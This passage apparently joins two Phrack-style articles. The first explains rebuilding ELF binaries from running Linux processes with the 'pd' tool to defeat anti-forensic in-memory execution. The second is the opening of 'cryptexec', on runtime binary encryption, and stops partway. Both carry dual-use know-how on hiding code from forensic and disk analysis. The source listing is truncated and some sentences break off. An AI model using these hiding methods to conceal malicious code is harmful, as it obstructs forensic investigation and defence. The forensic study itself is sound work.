To avoid disk data written and Host IDS detection, several ways are being used until now. Injecting binary code right in a running process is one of them. In a forensics analysis some checks to the original file signature (or MD5, or whatever) my fail, warning about binary content manipulation. If this code only resides in memory, the disk scan will never show its presence.

"Userland Remote Exec" is a new kind of attack, as a way to execute files downloaded from a remote host without write them to disk. The main idea goes through an implementation of a kernel loader, and a remote file transfer core. When "ul_remote_exec" program receives a binary file it sets up as much information and estructures as needed to fork or replace the existing code with the downloaded one, and give control to this new process. It safes new program memory pages, setting up execution environment, and loading code and data into the correct sections, the same way the system kernel does. The main difference is that system loads a file from disk, and UserLand Remote Exec (down)"loads" a file from the network, ensuring no data is written in the disk.

With all these methods we have a running process with different binary data than saved in the disk (if existing there). Different scenarios that could be resolved with one technique: an interface allowing us to dump a process and rebuild a binary file that when executed will recreate this same process.

‑‑[ 4.0 ‑ Background

Under Windows architecture there're a lot of useful tools providing this functionality in user space. "procdump" is the name of a generic process dumper for this operating system, although there're many more tools including application specific un‑packers and dumpers.

Under linux (*nix for x86 systems, the scope of this paper) several studies attempt to help analyzing the memory (ie: Zalewski's memfetch) of a process. Kernel/system memory may give other useful information about any of the process being executed (Wietse's memfetch). Also, gdb now includes dumping feature, allowing the dump of memory blocks to disk.

There's an interesting tool comparing a process and a binary file (www.hick.org's elfcmp). Although I discovered later in the study, it didn't work for me. Anyway, it's an interesting topic in this article. Recover a binary from a core dump is an easy task due to the implementation of the core functionality. Silvio Cesare stated that in a complete paper (see references).

There's also a kernel module for recover a burneyed binary from memory once it's deciphered, but in any case it cares about binary analysis. It just dumps a memory region where burneye engine writes dechypered data before executing.

All these approximations will not finish the process of recovering a binary file, but they will give valuable information and ideas about how the process should/would/could be.

The program included here is an example of defeating all these anti‑forensics methods, attaching to a pid, analyzing it's memory and rebuilding a binary image allowing us to recover the process data and code, and also re‑execute it in a testing environment. It summarizes all the above functionality in an attempt to create a rebuilding working interface.

‑‑[ 5.0 ‑ Requirements

In an initial approach I fall into a lot of presumptions due to the technology involved in the testing environment. Linux and x86 32bits intel architecture was the selected platform with kernel 2.4*. There was a lot of analysis performed in that platform assuming some of the kernel constants and specifications removed or modified later. Also, GCC was the selected compiler for the binaries tested, so instead of a generic ELF format, the gcc elf implementation has been the referral most of the time.

After some investigation it was realized that all these presumptions should be removed from the code for compatibility in other test systems. Also, GCC was left apart in some cases, analyzing files programmed in asm.

The /proc filesystem was first removed from analysis, returning bak after some further investigation. /proc filesystem is a useful resource for information gathering about a process from user space (indeed, it's the user space kernel interface for process information queries).

The concept of process dumping (sample code also) is very system dependant, as kernel and customs loaders may leave memory in different states, so there's no a generic program ready‑to‑use that could rebuild any kind of executable with total guaranties of use. A program may evolve in run time loading some code from a inspected source, or delete the used code while being executed.

Also, it's very important to realize that even if a binary format is standardized, every file is built under compiler implementation, so the information included in it may help or difficult the restoring process.

In this paper there are several user interfaces to access the memory of a process, but the cheapest one has been selected: ptrace. From now on, ptrace should be a requirement in the implementation of PD, as no other method to read process memory space has been included in the POC.

In order to reproduce the tests, a linux kernel 2.4 without any security patch (like grsecurity, pax, or other ptrace and stack protection) is recommended, as well as gcc compiled binaries. Ptrace should be enabled and /proc filesystem would be useful. grugq remote exec and burneyed had been successfully compiled in this environment, so all the toolset for the test will be working.

Files dynamically linked to system libraries become system dependant if the dynamic information is not restored to it's original state. PD is programmed to restore the dynamic subsystem (plt) of any gcc compiled binary, so gcc+ldd dynamic linked files would be restored to work in other host correctly.

‑‑[ 6.0 ‑ Design and Implementation

Some common tasks had been identified to success in the dump of a process in a generic way. The design should heavily rely in system dependant interfaces for each one, so an exhaustive analysis should be performed in them:

1‑ Get information of a process

2‑ Get binary data of that process from memory

3‑ Order/clean and safe binary data in a file

4‑ Build an ELF header for the file to be correctly loaded 5‑ Adjust binary information

Also, there's a previous step to resolve before doing any of the previous tasks, it's, to get communication with that process. We need an interface to read all this information from the system memory space and process it. In this platform there are some of them available as shown below:

‑ (per process) own process memory

‑ /proc file system

‑ raw access to /dev/kmem /dev/mem

‑ ptrace (from user space)

Raw memory access turns hard the process of information locating, as run time information may be paged or swapped, and some memory may be shared between processes, so for the POC it's has been removed as an option.

Per Process method, even if it may appear to be too exotic, should be considered as an option. The use of this method consists in exploitation of the execution of the process selected for dump, as for buffer overflow, library modifications before loading and any other sophisticated way to execute our code into process context. Anyway for the scope of the analysis it's been deprecated also.

/proc and PTRACE are the available options for the POC. Each one has it's own limits based in implementation of the system. As a POC, PD will use /proc when available, and ptrace if there's no more options. Consider the use of the other methods when ptrace is not available in the system.

By default ptrace will not attach any process if it's already being attached by another. Each process may be only attached by one parent. This limit is assumed as a requirement for PD to work.

‑‑‑‑[ 6.1‑ Get information of a process

To know all the information needed to rebuild an executable it's important to know the way a process is being executed by the system.

As a short description, the system will create an entry in the process list, copy all data needed for the process and for the system to success executing the binary and launches it. Not all the data in the file is needed during execution, some parts are only used by the loader to correct map the memory and perform environment setup.

Getting information about a process involves all data finding that could be useful when rebuilding the executable file, or finding memory location of the process, it's:

‑ Dynamic linker auxiliary vector array

‑ ELF signatures in memory

‑ Program Headers in memory

‑ task_struct and related information about the process (memory usage, memory permissions, ...)

‑ In raw access and pre process: permission checks of memory maps (rwx) ‑ Execution subsystems (as runtime linking, ABI register, pre‑execution conditions, ..)

Apart from the loading information (not removed from memory by default), A process has three main memory sections: code, where binary resides; data, where internal program data is being written and read; and stack, as a temporal memory pool for process execution internal memory requests. Code and Data segments are read from the file in the loading part by the kernel, and stack is built by the loader to ensure correct execution.

‑‑‑‑[ 6.2‑ Get binary data of that process from memory

Once we have located that information, we need to get it from the memory.

For this task we will use the interface selected earlier: /proc or ptrace. The main information we should not forget is:

‑ Code and Data portions (maps) of the memory process.

‑ If exists (has not been deleted) the elf and/or program headers. ‑ Dynamic linking system (if it's being) used by the program. ‑ Also, "state" of the process: stack and registers*

Stack and registers (state) are useful when you plan to launch the same process in another moment, or in another computer but recovering the execution point: Froze the program and re‑run in other computer could be a real scenario for this example. One of the funniest results found using pd to froze processes was the possibility to save a game and restore the saved "state" as a way to add the "save game" feature to the XSoldier game.

Something interesting is also another information the process is currently handling: file descriptors, signals, and so. With the signals, file descriptors, memory, stack and registers we could "froze" a running application and restore it's execution in other host, or in other moment. Due to the design of the process creation, it's possible to recreate in great part the state of the process even if it's interacting with regular files. In a more technical detail, the re‑create process will inherit all the attributes of the parent, including file descriptors. It's our task if we would like to restore a "frozen state" dumped process to read the position of the descriptors and restore them for the "frozen process".

Please notice that any other interaction using sockets or pipes for example, require an state analysis of the communicated messages so their value, or streamed content may be lost. If you dump a program in the middle of a TCP connection, TCP session will not be established again, neither the sent data and acknowledge messages received from the remote system, so it's not possible to re‑run a process from a "frozen state" in all cases.

‑‑‑‑[ 6.3‑ Order/Clean and safe binary data in a file

Order/Clean and safe task is the simplest one. Get all the available information and remove the useless, sort the useful, and save in a secure storage. It has been separated from the whole process due to limitations in the recovering conditions. If the reconstructed binary could be stored in the filesystem then simply keep the information saved in a file, but, it's interesting in some cases to send the gathered information to another host for processing, not writing to disk, and not modifying the filesystem for other type of analysis. This will avoid data contraception in a compromised system if that's the purpose of pd execution.

‑‑‑‑[ 6.4‑ Build an ELF header for that file to be loaded

If finally we don't find it in memory, the best way is to rebuild it. Using the ELF documentation would be easy enough to setup a basic header with the information gathered. It's also necessary to create a program headers table if we could not find it in memory.

Even if the ELF header is found in memory, a manipulation of the structure is needed as we could miss a lot of information not kept in memory, or not necessary for the rebuild process: For example, all the information about file sections, debug information or any kind of informational data.

‑‑‑‑[ 6.5‑ Adjust binary information

At this point, all the information has been gathered, and the basic skeleton of the executable should be ready to use. But before finishing the reconstruction process some final steps could be performed.

As some binary data is copied from memory and glued into a binary, some offset and header information (as number of memory maps and ELF related information) need to be adjusted.

Also, if it's using some system feature (let's say, runtime linking) some of the gathered information may be referred to this host linking system, and need to be rebuilt in order to work in another environments.

As the result of reconstruction we have two great caveats to resolve:

‑ Elf header

‑ Dynamic linking system

The elf header is only used in the load time, so we need to setup a compatible header to load correctly all the information we have got.

The dynamic system relies in host library scheme, so we need to regenerate a new layout or restore the previous one to a generic usable dynamic system, it's: GOT recovering. PD resolves this issue in an elegant and easy way explained later.

‑‑‑‑[ 6.6 ‑ Resume of process in steps

Now let's resume with more granularity the steps performed until now, and what could be do with all the gathered information. As a generic approach let's resume a "process saving" procedure:

‑ Froze the process (avoid any malicious reaction of the program..). ‑ Stop current execution and attach to it (or inject code.. or..). ‑ Save "state": registers, stack and all information from the system. ‑ Recover file descriptors state and all system data used by the process. ‑ Copy process "base": files needed (opened file descriptors, libraries, ... ).

‑ Copy data from memory: copy code segments, data segments, stack, libraries..

With all this information we can now do two things:

‑ Rebuild the single executable: reconstruct a binary file that could be launched in any host (with the same architecture, of course), or executable only in the same host, but allowing complete execution from the start of the code.

‑ Prepare a package allowing to re‑execute the process in another host, or in any other moment, that's, a "frozen" application that will resume it's state once launched. This will allow us to save a suspicious process and relaunch in other host preserving it's state.

If it's our intention to recover the state in other moment, even if its recovery is not totally guaranteed (internal system workflow may avoid its correct execution) the loading process will be:

‑ Set all files used by the application in the correct location ‑ Open the files used by the program and move handlers to the same position (file handlers will be inherited by child process) ‑ Create a new process.

‑ Set "base" (code and data) in the correct segments of memory. ‑ set stack and registers.

‑ launch execution.

But for the purpose of this paper, the final stage is to rebuild a binary file, a single executable presumed to be reconstructed from the image of the process being executed in the memory. These are the final steps we could see later, labeled as pd implementation:

‑ Create an ELF header in a file: if it could not be found. ‑ Attach "base" to the file (code and data memory copies)

‑ Readjust GOT (dynamic linking).

‑‑‑‑[ 6.7 ‑ pd (process dumper) Proof of concept.

At the time of writing this paper, a simple process dumper is included for testing purposes. Although it contains basic working code, it's recommended to download the latest version of the program from the http://www.reversing.org web site. The version included here is a very

basic stripped version developed two years ago. This PD is just a POC for testing the process described in this article supporting dynamically linked binaries. This is the description of the different tasks it will perform:

‑ Ptrace attach to a pid: to access memory (mainly read memory) process.

‑ Information gathering: Everytime a program is executed, the system will create an special struct in the memory for the dynamic linker to success bind functions of that process. That struct, the "Auxiliar Vector" holds some elf related information of the original file, as an offset to the program headers location in memory, number of program headers and so (there is some doc about this special struct in the included source package).

With the program headers information recovered, a loop for memory maps being saved to a file is started. Program header holds the loaded program segments. We'll care in the LOAD flag of the mapped memory segment in order to save it. Memory segments not marked as LOAD are not loaded from that file for execution. This version of PD does not use /proc filesystem at any time.

If the program can't find the information, some of the arguments from command line may help to finish the process. For example, with "‑p addr" it's possible to force the address of the program headers in memory. This value for gcc+ldd built binaries is 0x8048034. This argument may be used when the program outputs the message "search failed" when trying to locate PAGESZ. If PAGESZ is not in the stack it indicates that the "auxiliar vector array" could not be located, so program headers offset would neither be found (often when the file is not launched from the shell or is loaded by other program instead of the kernel).

‑ File dumping: If the information is located the data is dumped to a file, including the elf header if it's found in memory (rarely it's deleted by any application). This version of pd will NOT create any header for the file (it's done in the lastest version).

This dump should work for the local host, as dynamic information is not being rebuilt. There's a simple method to recover this information with files built with gcc+ldd as shown below.

‑ GOT rebuilding

The runtime linker should had modified some of the GOT entries if the functions had been called during execution. The way pd rebuilds the GOT is based in GCC compiling method. Any binary file is very compiler dependant (not only system), and a fast analysis about how GCC+LDD build the GOT of the compiled binary, shows the way to reconstruct it called "Aggressive GOT reconstruction". Another compilers/linkers may need more in depth study. A txt is included in the source about Aggressive GOT reconstruction.

The option ‑l tagged as "local execution only" in the command line will avoid GOT reconstruction.

In this version of PD, PLT/GOT reconstruction is only functional with GCC compiled binaries. To make that reconstruction, the .plt section should be located (done by the program usually). If the location is not found by the PD, the argument ‑g addr in the command line may help. Even if it has been tested against several files, this so simple implementation may fail with files using hard dynamic linking in the system.

Once again I remember this is a test code. For better results please download latest version of PD.

‑‑ Aggressive reconstruction of GOT ‑‑

GCC in the process of compiling a source code makes a table for the relocation entries to link with ldd. This table grows as source file is being analyzed. Each relocatable object is then pushed in a table for internal manipulation. Each table entry has a size of 0x10 bytes, each entry is located 0x10 bytes from the last, so there are 16 bytes between each object. Take a look at this output of readelf.

Relocation section '.rel.plt' at offset 0x308 contains 8 entries: Offset Info Type Sym.Value Sym. Name 080496b8 00000107 R_386_JUMP_SLOT 08048380 getchar 080496bc 00000207 R_386_JUMP_SLOT 08048390 __register_frame_info 080496c0 00000307 R_386_JUMP_SLOT 080483a0 __deregister_frame_inf 080496c4 00000407 R_386_JUMP_SLOT 080483b0 __libc_start_main 080496c8 00000507 R_386_JUMP_SLOT 080483c0 printf 080496cc 00000607 R_386_JUMP_SLOT 080483d0 fclose 080496d0 00000707 R_386_JUMP_SLOT 080483e0 strtoul 080496d4 00000807 R_386_JUMP_SLOT 080483f0 fopen

As shown below, each of the entries from the table is just 0x10 bytes below than the next in memory . When one of this objects is linked in runtime, it's value will show a library space memory address out of the original segment. Rebuilding this table is done locating at least an unresolved value from this list (it's symbol value must be inside it's program section memory space). Original address could then be obtained from It's position.

The next step is to perform a replace in all entries marked as R_386_JUMP_SLOT with the calculated address for each modified entry. Note: Other compilers may act very different, so the first step is to fingerprint the compiler before doing any un‑relocation task.

Some options are manipulable in command line to pd. See readme for more information. Also, some demos are included in the src package, and a simple todo with help to launch each them: simple process dump, packed dump (upx or burneye), injected code dump and grugq's ulexec dump.

Here is, for your information a simple dump of a netcat process connected to a host:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ilo@reversing src]$ ps aux |grep localhost

ilopez 5114 0.0 0.2 1568 564 pts/2 S+ 02:25 0:00 nc localhost 80 [ilo@reversing src]$ ./pd ‑vo nc.dumped 5114

pd V1.0 POF <ilo@reversing.org>

source distribution for testing purposes..

[v]Attached.

performing search..

only PAGESZ method implemented in this version

[v]dump: 0xbffff000 to 0xc0000000: 0x1000 bytes

AT_PAGESZ located at: 0xbffffb24

[v]Now checking for boundaries..

[v]Hitting top at: 0xbffffb94

[v]Hitting bottom at: 0xbffffb1c

[v]AT_PHDR: 0x8048034 AT_PHNUM: 0x7

[v]dump: 0x8048034 to 0x8048114: 0xe0 bytes

[v]program header( 0‑7 ) table info..

[v]TYPE Offset VirtAddr PhysAddr FileSiz MemSiz FLG Align [v]PHDR 0x00000034 0x08048034 0x08048034 0x000e0 0x000e0 0x005 0x4 [v]INTE 0x00000114 0x08048114 0x08048114 0x00013 0x00013 0x004 0x1 [v]LOAD 0x00000000 0x08048000 0x08048000 0x03f10 0x03f10 0x005 0x1000 [v]LOAD 0x00004000 0x0804c000 0x0804c000 0x005d8 0x005d8 0x006 0x1000 [v]DYNA 0x00004014 0x0804c014 0x0804c014 0x000c8 0x000c8 0x006 0x4 [v]NOTE 0x00000128 0x08048128 0x08048128 0x00020 0x00020 0x004 0x4 ..

gather process information and rebuild:

‑loadable program segments, elf header and minimal size.. [v]dump: 0x8048000 to 0x804bf10: 0x3f10 bytes

[v]realloc to 0x3f10 bytes

[v]dump: 0x804c000 to 0x804c5d8: 0x5d8 bytes

[v]realloc to 0x45d8 bytes

[v]max file size 0x45d8 bytes

[v]dumped .text section

[v]dumped .data section

[v]segment section based completed

analyzing dynamic segment..

[v]HASH

[v]STRTAB

[v]SYMTAB

[v]symtable located at: 0x80482d8 , offset: 0x2d8

[v]st_name 0x208 st_value 0x0 st_size 0x167

[v]st_info 0x12 st_other 0x0 st_shndx 0x0

[v]STRSZ

[v]SYMENT

Agressive fixing Global Object Table..

vaddr: 0x804c0e0 daddr: 0x8048000 foffset: 0x40e0

* plt unresolved!!!

section headers rebuild

this distribution does not rebuild section headers

saving file: nc.dumped

[v]saved: 0x45d8 bytes

Finished.

[v]Dettached.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this example the program netcat with pid 5114 is dumped to the file nc.dumped. The reconstructed binary is only part of the original file as show in these lists:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ilo@reversing src]$ ls ‑la nc.dumped

‑rwxr‑xr‑x 1 ilo ilo 17880 Jul 10 02:26 nc.dumped [ilo@reserving src]$ ls ‑la `whereis nc`

ls: nc:: No such file or directory

‑rwxr‑xr‑x 1 root root 20632 Sep 21 2004 /usr/bin/nc

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This version of pd does all the tasks of rebuilding a binary file from a process. The pd concept was re‑developed to a more useful tool performing two steps. The first should help recovering all the information from a process in a single package. With all this information a second stage allow to rebuild the executable in more relaxed environment, as other host or another moment. The option to save and restore state of a process has been added thus allowing to re‑lauch an application in other host in the same state as it was when the information was gathered. Go to reversing.org web site to get the last version of the program.

‑‑[ 7.0 ‑ Defeating PD, or defeating process dumping.

The process presented in this article suffers from lots of presumptions: tested with gcc compiled binaries, under specified system models, its workflow simply depends on several system conditions and information that could be forged by the program. However following the method would be easy to defeat further antidump research.

In each recovering process task, some of the information is presumed, and other is obtained but never evaluated before. Although the process may be reviewed for error and consistency checking a generic flow will not work against an specific developed program. For example, it's very easy to remove all data information from memory to avoid pd reading all the needings in the rebuild process. Elf header could be deleted in runtime, or modified, as the auxiliar vector in the stack, or the program headers.

There are other methods to get the binary information: asking the kernel about a process or accessing in raw format to memory locating known structures and so, but not only it's a very hard approach, the system may be forged by an intruder. Never forget that..

Current issues known in PD are:

‑ If the program is being ptraced, this condition will prevent pd attaching process to work, so program ends here (for now).

Solution: enable a kernel process to dump binary information even if ptrace is disabled.

‑ If a forged ELF header is found in the system, probably it will be used instead of the real one.

Solution: manually inspect ELF header or program headers found in the system before accepting them.

‑ If no information about program headers or elf is found, and if /proc is not available in that user space, and aux_vt is not found the program will not work, and..

Solution: perform a better approach in pd.c. PD is just a POC code to show the process of rebuild a binary file. In a real

‑ Some kernel patches remove memory contents and modify binary file prior to execution: Unspected behavior.

Anyway, PD will not work well with programs where the data segment has variables modified in runtime, as execution of the recovered program depends in the state of these variables. There's no history about memory modified by a process, so return to a previous state of the data segment is impossible, again, for now.

‑‑[ 8.0 ‑ Conclusion

"Reversing" term reveals a funny feature: every time a new technique appears, another one defeat it, in both sides. As in the virus scene, a new patch will follow to a new development. Everytime a new forensics method is released, a new anti‑forensics one appears. There's a crack for almost every protected application, and a new version of that program will protect from that crack.

In this paper, some of the methods hiding code (even if it's not malicious) were defeated with simply reversing how a process is built. Further investigation may leave this method inefficient due to load design of the kernel in the studied system. In fact, once a method is known, it's easy to defeat, and the one presented in this article is not an exception

‑‑[ 9.0 ‑ Greets & contact

Metalslug, Uri, Laura, Mammon (still more ptrace stuff.. you know ;)), Mayhem, Silvio, Zalewski, grugq, !dSR and 514‑77, "ncn" and "fist" staff. Ripe deserves special thanks for help in demo codes, and pushing me to improve the recovering process.

Contact: ilo[at]reversing.org http://www.reversing.org

‑‑[ 10 ‑ References

‑ grugq 2002 ‑ The Art of Defiling: Defeating Forensic Analysis on Unix http://www.phrack.org/phrack/59/p59‑0x06.txt

‑ grugq 2004 ‑ The Design and Implementation of ul_exec http://www.hcunix.net/papers/grugq_ul_exec.txt

‑ 7a69 ‑ Ghost In The System Project http://www.7a69ezine.org/gits

‑ Silvio ‑ Elf executable reconstruction from a core image http://www.uebi.net/silvio/core‑reconstruction.txt

‑ Mayhem ‑ Some shoots related to linux reversing. http://www.devhell.org/

‑ ilo‑‑ ‑ Process dumping for binary reconstruction: pd http://www.reversing.org/

‑‑[ 11 ‑ Source Code

This is not the last version of PD. For further information about this project please refer to http://www.reversing.org

begin 664 pd‑1.0.tar.gz

M'XL("+&(T$("`W!D+3$N,"YT87(`[%OK;^,XDN^O]E]!X`YH9Z[M2++\2'#8 end

Next-Gen. Runtime Binary Encryption

Volume 0x0b, Issue 0x3f, Phile #0x0d of 0x14

|=‑‑‑‑‑‑=[ cryptexec: Next‑generation runtime binary encryption ]=‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑=[ using on‑demand function extraction ]=‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Zeljko Vrba <zvrba@globalnet.hr> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ABSTRACT

Please excuse my awkward English, it is not my native language.

What is binary encryption and why encrypt at all? For the answer to this question the reader is referred to the Phrack#58 [1] and article therein titled "Runtime binary encryption". This article describes a method to control the target program that doesn't does not rely on any assistance from the OS kernel or processor hardware. The method is implemented in x86‑32 GNU AS (AT&T syntax). Once the controlling method is devised, it is relatively trivial to include on‑the‑fly code decryption.

1 Introduction

2 OS‑ and hardware‑assisted tracing

3 Userland tracing

3.1 Provided API

3.2 High‑level description

3.3 Actual usage example

3.4 XDE bug

3.5 Limitations

3.6 Porting considerations

4 Further ideas

5 Related work

5.1 ELFsh

5.2 Shiva

5.3 Burneye

5.4 Conclusion

6 References

7 Credits

A Appendix: source code

A.1 crypt_exec.S

A.2 cryptfile.c

A.3 test2.c

Note: Footnotes are marked by # and followed by the number. They are listed at the end of each section.

‑‑[ 1.0 ‑ Introduction

First let me introduce some terminology used in this article so that the reader is not confused.

o The attributes "target", "child" and "traced" are used interchangeably (depending on the context) to refer to the program being under the control of another program.

o The attributes "controlling" and "tracing" are used interchangeably to refer to the program that controls the target (debugger, strace, etc.)

‑‑[ 2.0 ‑ OS‑ and hardware‑assisted tracing

Current debuggers (both under Windows and UNIX) use x86 hardware features for debugging. The two most commonly used features are the trace flag (TF) and INT3 instruction, which has a convenient 1‑byte encoding of 0xCC.

TF resides in bit 8 of the EFLAGS register and when set to 1 the processor generates exception 1 (debug exception) after each instruction is executed. When INT3 is executed, the processor generates exception 3 (breakpoint).

The traditional way to trace a program under UNIX is the ptrace(2) syscall. The program doing the trace usually does the following (shown in pseudocode):

fork()

child: ptrace(PT_TRACE_ME)

execve("the program to trace")

parent: controls the traced program with other ptrace() calls

Another way is to do ptrace(PT_ATTACH) on an already existing process. Other operations that ptrace() interface offers are reading/writing target instruction/data memory, reading/writing registers or continuing the execution (continually or up to the next system call ‑ this capability is used by the well‑known strace(1) program).

Each time the traced program receives a signal, the controlling program's ptrace() function returns. When the TF is turned on, the traced program receives a SIGTRAP after each instruction. The TF is usually not turned on by the traced program#1, but from the ptrace(PT_STEP).

Unlike TF, the controlling program places 0xCC opcode at strategic#2 places in the code. The first byte of the instruction is replaced with 0xCC and the controlling program stores both the address and the original opcode. When execution comes to that address, SIGTRAP is delivered and the controlling program regains control. Then it replaces (again using ptrace()) 0xCC with original opcode and single‑steps the original instruction. After that the original opcode is usually again replaced with 0xCC.

Although powerful, ptrace() has several disadvantages:

1. The traced program can be ptrace()d only by one controlling program.

2. The controlling and traced program live in separate address spaces, which makes changing traced memory awkward.

3. ptrace() is a system call: it is slow if used for full‑blown tracing of larger chunks of code.

I won't go deeper in the mechanics of ptrace(), there are available tutorials [2] and the man page is pretty self‑explanatory.

__

#1 Although nothing prevents it to do so ‑ it is in the user‑modifiable portion of EFLAGS.

#2 Usually the person doing the debugging decides what is strategic.

‑‑[ 3.0 ‑ Userland tracing

The tracing can be done solely from the user‑mode: the instructions are executed natively, except control‑transfer instructions (CALL, JMP, Jcc, RET, LOOP, JCXZ). The background of this idea is explained nicely in [3] on the primitive 1960's MIX computer designed by Knuth.

Features of the method I'm about to describe:

o It allows that only portions of the executable file are encrypted.

o Different portions of the executable can be encrypted with different keys provided there is no cross‑calling between them.

o It allows encrypted code to freely call non‑encrypted code. In this case the non‑encrypted code is also executed instruction by instruction. When called outside of encrypted code, it still executes without tracing.

o There is never more than 24 bytes of encrypted code held in memory in plaintext.

o OS‑ and language‑independent.

The rest of this section explains the provided API, gives a high‑level description of the implementation, shows a usage example and discusses Here are the details of my own implementation.

‑‑‑‑[ 3.1 ‑ Provided API

No "official" header file is provided. Because of the sloppy and convenient C parameter passing and implicit function declarations, you can get away with no declarations whatsoever.

The decryption API consists of one typedef and one function.

typedef (*decrypt_fn_ptr)(void *key, unsigned char *dst, const unsigned char *src);

This is the generic prototype that your decryption routine must fit. It is called from the main decryption routine with the following arguments:

o key: pointer to decryption key data. Note that in most cases this is NOT the raw key but pointer to some kind of "decryption context".

o dst: pointer to destination buffer

o src: pointer to source buffer

Note that there is no size argument: the block size is fixed to 8 bytes. The routine should not read more than 8 bytes from the src and NEVER output more than 8 bytes to dst.

Another unusual constraint is that the decryption function MUST NOT modify its arguments on the stack. If you need to do this, copy the stack arguments into local variables. This is a consequence of how the routine is called from within the decryption engine ‑ see the code for details.

There are no constraints whatsoever on the kind of encryption which can be used. ANY bijective function which maps 8 bytes to 8 bytes is suitable. Encrypt the code with the function, and use its inverse for the decryption. If you use the identity function, then decryption becomes simple single‑stepping with no hardware support ‑‑ see section 4 for related work.

The entry point to the decryption engine is the following function:

int crypt_exec(decrypt_fn_ptr dfn, const void *key, const void *lo_addr, const void *hi_addr, const void *F, ...);

The decryption function has the capability to switch between executing both encrypted and plain‑text code. The encrypted code can call the plain‑text code and plain‑text code can return into the encrypted code. But for that to be possible, it needs to know the address bounds of the encrypted code.

Note that this function is not reentrant! It is not allowed for ANY kind of code (either plain‑text or encrypted) running under the crypt_exec routine to call crypt_exec again. Things will break BADLY because the internal state of previous invocation is statically allocated and will get overwritten.

The arguments are as follows:

o dfn: Pointer to decryption function. The function is called with the key argument provided to crypt_exec and the addresses of destination and source buffers.

o key: This are usually NOT the raw key bytes, but the initialized decryption context. See the example code for the test2 program: first the user‑provided raw key is loaded into the decryption context and the address of the _context_ is given to the crypt_exec function.

o lo_addr, hi_addr: These are low and high addresses that are encrypted under the same key. This is to facilitate calling non‑encrypted code from within encrypted code.

o F: pointer to the code which should be executed under the decryption engine. It can be an ordinary C function pointer. Since the tracing routine was written with 8‑byte block ciphers in mind, the F function must be at least 8‑byte aligned and its length must be a multiple of 8. This is easier to achieve (even with standard C) than it sounds. See the example below.

o ... become arguments to the called function.

crypt_exec arranges to function F to be called with the arguments provided in the varargs list. When crypt_exec returns, its return value is what the F returned. In short, the call

x = crypt_exec(dfn, key, lo_addr, hi_addr, F, ...);

has exactly the same semantics as

x = F(...);

would have, were F plain‑text.

Currently, the code is tailored to use the XDE disassembler. Other disassemblers can be used, but the code which accesses results must be changed in few places (all references to the disbuf variable).

The crypt_exec routine provides a private stack of 4kB. If you use your own decryption routine and/or disassembler, take care not to consume too much stack space. If you want to enlarge the local stack, look for the local_stk label in the code.

__

#3 In the rest of this article I will call this interchangeably tracing or decryption routine. In fact, this is a tracing routine with added decryption.

‑‑‑‑[ 3.2 ‑ High‑level description

The tracing routine maintains two contexts: the traced context and its own context. The context consists of 8 32‑bit general‑purpose registers and flags. Other registers are not modified by the routine. Both contexts are held on the private stack (that is also used for calling C).

The idea is to fetch, one at a time, instructions from the traced program and execute them natively. Intel instruction set has rather irregular encoding, so the XDE [5] disassembler engine is used to find both the real opcode and total instruction length. During experiments on FreeBSD (which uses LOCK‑ prefixed MOV instruction in its dynamic loader) I discovered a bug in XDE which is described and fixed below.

We maintain our own EIP in traced_eip, round it down to the next lower 8‑byte boundary and then decrypt#4 24 bytes#5 into our own buffer. Then the disassembly takes place and the control is transferred to emulation routines via the opcode control table. All instructions, except control transfer, are executed natively (in traced context which is restored at appropriate time). After single instruction execution, the control is returned to our tracing routine.

In order to prevent losing control, the control transfer instructions#6 are emulated. The big problem was (until I solved it) emulating indirect JMP and CALL instructions (which can appear with any kind of complex EA that i386 supports). The problem is solved by replacing the CALL/JMP instruction with MOV to register opcode, and modifying bits 3‑5 (reg field) of modR/M byte to set the target register (this field holds the part of opcode in the CALL/JMP case). Then we let the processor to calculate the EA for us.

Of course, a means are needed to stop the encrypted execution and to enable encrypted code to call plaintext code:

1. On entering, the tracing engine pops the return address and its private arguments and then pushes the return address back to the traced stack. At that moment:

o The stack frame is good for executing a regular C function (F). o The top of stack pointer (esp) is stored into end_esp.

2. When the tracing routine encounters a RET instruction it first checks the traced_esp. If it equals end_esp, it is a point where the F function would have ended. Therefore, we restore the traced context and do not emulate RET, but let it execute natively. This way the tracing routine loses control and normal instruction execution continues.

In order to allow encrypted code to call plaintext code, there are lo_addr and hi_addr parameters. These parameters determine the low and high boundary of encrypted code in memory. If the traced_eip falls out of [lo_addr, hi_addr) range, the decryption routine pointer is swapped with the pointer to a no‑op "decryption" that just copies 8 bytes from source to destination. When the traced_eip again falls into that interval, the pointers are again swapped.

__

#4 The decryption routine is called indirectly for reasons described later.

#5 The number comes from worst‑case considerations: if an instruction begins at a boundary that is 7 (mod 8), given maximum instruction length of 15 bytes, yields a total of 22 bytes = 3 blocks. The buffer has 32 bytes in order to accommodate an additional JMP indirect instruction after the traced instruction. The JMP jumps indirectly to place in the tracing routine where execution should continue. #6 INT instructions are not considered as control transfer. After (if) the OS returns from the invoked trap, the program execution continues sequentially, the instruction right after INT. So there are no special measures that should be taken.

‑‑‑‑[ 3.3 ‑ Actual usage example

Given encrypted execution engine, how do we test it? For this purpose I have written a small utility named cryptfile that encrypts a portion of the executable file ($ is UNIX prompt):

$ gcc ‑c cast5.c

$ gcc cryptfile.c cast5.o ‑o cryptfile

$ ./cryptfile

USAGE: ./cryptfile <‑e_‑d> FILE KEY STARTOFF ENDOFF

KEY MUST be 32 hex digits (128 bits).

